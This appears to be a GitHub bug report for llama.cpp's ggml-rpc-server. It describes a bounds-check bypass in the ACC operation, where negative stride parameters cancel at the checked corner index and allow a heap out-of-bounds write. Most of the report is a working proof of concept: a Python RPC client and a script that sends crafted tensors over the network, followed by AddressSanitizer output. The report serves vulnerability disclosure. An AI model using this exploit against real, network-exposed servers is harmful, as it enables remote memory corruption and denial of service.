Skip to content

Misc. bug: Bug 3: RPC ACC/SET Negative Stride op_param Bounds-Check Bypass OOB Write #25764

Description

@ylwango613

Name and Version

ggml-rpc-server, commit 14d3ba4 (tag b9994), built with -DGGML_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug.

Operating systems

Linux

Which llama.cpp modules do you know to be affected?

Other (Please specify in the next section)

Command line

ggml-rpc-server -p 19005

Problem description & steps to reproduce

ggml_compute_forward_acc_f32() reads nb1/nb2/nb3/offset from dst->op_params as signed int32 values stored into size_t, so a negative int32 sign-extends into a huge unsigned value. The single bounds check at ops.cpp:1203, GGML_ASSERT(offset + (ne11-1)*nb1 + (ne12-1)*nb2 + (ne13-1)*nb3 < ggml_nbytes(dst)), is only evaluated at the maximal corner index in wraparound 64-bit arithmetic. Choosing nb1 negative and nb2 positive so they cancel exactly at the corner passes the assert, while an earlier loop iteration at a different (i1,i2,i3) computes a genuinely out-of-range address that is never separately checked.

build-asan/bin/ggml-rpc-server -p 19005 &
sleep 1
cat > rpc_client.py <<'PYEOF'
import socket, struct
RPC_CMD_ALLOC_BUFFER=0; RPC_CMD_BUFFER_GET_BASE=3; RPC_CMD_FREE_BUFFER=4
RPC_CMD_SET_TENSOR=6; RPC_CMD_GET_TENSOR=8; RPC_CMD_GRAPH_COMPUTE=10
RPC_CMD_HELLO=14; RPC_CMD_GRAPH_RECOMPUTE=16
GGML_TENSOR_FLAG_COMPUTE=16
GGML_TYPE_F32=0; GGML_TYPE_I32=26; GGML_TYPE_I64=27
RPC_TENSOR_FMT="<QIQ4I4II16ii10QQQQ64s4s"
def pack_rpc_tensor(id_, type_, buffer, ne, nb, op, op_params, flags, src, view_src, view_offs, data, name):
    ne=(list(ne)+[1,1,1,1])[:4]; nb=(list(nb)+[0,0,0,0])[:4]
    op_params=(list(op_params)+[0]*16)[:16]; src=(list(src)+[0]*10)[:10]
    name_b=name.encode()[:63].ljust(64,b"\x00")
    return struct.pack(RPC_TENSOR_FMT, id_, type_, buffer, ne[0],ne[1],ne[2],ne[3],
        nb[0],nb[1],nb[2],nb[3], op, *op_params, flags, *src, view_src, view_offs, data, name_b, b"\x00"*4)
def contig_nb(ne, ts):
    return [ts, ts*ne[0], ts*ne[0]*ne[1], ts*ne[0]*ne[1]*ne[2]]
class RpcConn:
    def __init__(self, host, port, timeout=10):
        self.sock=socket.create_connection((host,port),timeout=timeout); self.sock.settimeout(timeout); self._hello()
    def _sendall(self,b): self.sock.sendall(b)
    def _recvall(self,n):
        buf=b""
        while len(buf)<n:
            c=self.sock.recv(n-len(buf))
            if not c: raise ConnectionError("closed %d/%d"%(len(buf),n))
            buf+=c
        return buf
    def _hello(self):
        self._sendall(bytes([RPC_CMD_HELLO])); self._sendall(struct.pack("<Q",24)); self._sendall(b"\x00"*24)
        size=struct.unpack("<Q",self._recvall(8))[0]; self._recvall(size)
    def cmd_no_rsp(self,cmd,payload):
        self._sendall(bytes([cmd])); self._sendall(struct.pack("<Q",len(payload))); self._sendall(payload)
    def cmd(self,cmd,payload):
        self.cmd_no_rsp(cmd,payload); size=struct.unpack("<Q",self._recvall(8))[0]; return self._recvall(size)
    def alloc_buffer(self,size,device=0): return struct.unpack("<QQ", self.cmd(RPC_CMD_ALLOC_BUFFER, struct.pack("<IQ",device,size)))
    def buffer_get_base(self,ptr): return struct.unpack("<Q", self.cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack("<Q",ptr)))[0]
    def free_buffer(self,ptr): return self.cmd(RPC_CMD_FREE_BUFFER, struct.pack("<Q",ptr))
    def set_tensor(self,t,off,data): self.cmd_no_rsp(RPC_CMD_SET_TENSOR, t+struct.pack("<Q",off)+data)
    def get_tensor(self,t,off,size): return self.cmd(RPC_CMD_GET_TENSOR, t+struct.pack("<QQ",off,size))
    def graph_compute(self,device,node_ids,tensors):
        buf=struct.pack("<II",device,len(node_ids))
        buf+=b"".join(struct.pack("<Q",i) for i in node_ids)
        buf+=struct.pack("<I",len(tensors))+b"".join(tensors)
        self.cmd_no_rsp(RPC_CMD_GRAPH_COMPUTE, buf)
    def graph_recompute(self,device=0): self.cmd_no_rsp(RPC_CMD_GRAPH_RECOMPUTE, struct.pack("<I",device))
PYEOF

cat > vuln_005.py <<'PYEOF'
import sys, time
sys.path.insert(0,".")
from rpc_client import RpcConn, pack_rpc_tensor, contig_nb, GGML_TYPE_F32, GGML_TENSOR_FLAG_COMPUTE
GGML_OP_ACC=5
port=int(sys.argv[1]) if len(sys.argv)>1 else 19005
c=RpcConn("127.0.0.1",port)
BUF_SIZE=1<<16
ptr,_=c.alloc_buffer(BUF_SIZE); base=c.buffer_get_base(ptr)
ne_big=[16,16,1,1]; nb_big=contig_nb(ne_big,4)
dst_data=base+0; src0_data=base+4096; src1_data=base+8192
ne1=[4,5,2,1]; nb1_real=contig_nb(ne1,4)
src0=pack_rpc_tensor(1,GGML_TYPE_F32,ptr,ne_big,nb_big,0,[],0,[0]*10,0,0,src0_data,"src0")
src1=pack_rpc_tensor(2,GGML_TYPE_F32,ptr,ne1,nb1_real,0,[],0,[0]*10,0,0,src1_data,"src1")
op_params=[-1000,4000,0,0,0]  # nb1=-1000, nb2=4000, nb3=0, offset=0, inplace=0
dst=pack_rpc_tensor(3,GGML_TYPE_F32,ptr,ne_big,nb_big,GGML_OP_ACC,op_params,GGML_TENSOR_FLAG_COMPUTE,[1,2]+[0]*8,0,0,dst_data,"dst")
print("sending GRAPH_COMPUTE ACC with crafted nb1=-1000/nb2=4000")
c.graph_compute(0,[3],[src0,src1,dst])
time.sleep(1)
try:
    print("dst=", c.get_tensor(dst,0,32).hex())
except Exception as e:
    print("connection failed (expected if server crashed):", e)
PYEOF
python3 vuln_005.py 19005

First Bad Commit

Not bisected. Confirmed present at 14d3ba4 (tag b9994).

Relevant log output

==1544655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x531000014030
WRITE of size 4 at ... thread T4
    #0 ggml_vec_add_f32 ggml/src/ggml-cpu/vec.h:100
    #1 ggml_compute_forward_acc_f32 ggml/src/ggml-cpu/ops.cpp:1228
SUMMARY: AddressSanitizer: heap-buffer-overflow ggml/src/ggml-cpu/vec.h:100 in ggml_vec_add_f32

No GGML_ASSERT failure appears before the ASan report, confirming the bounds check was bypassed rather than tripped.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions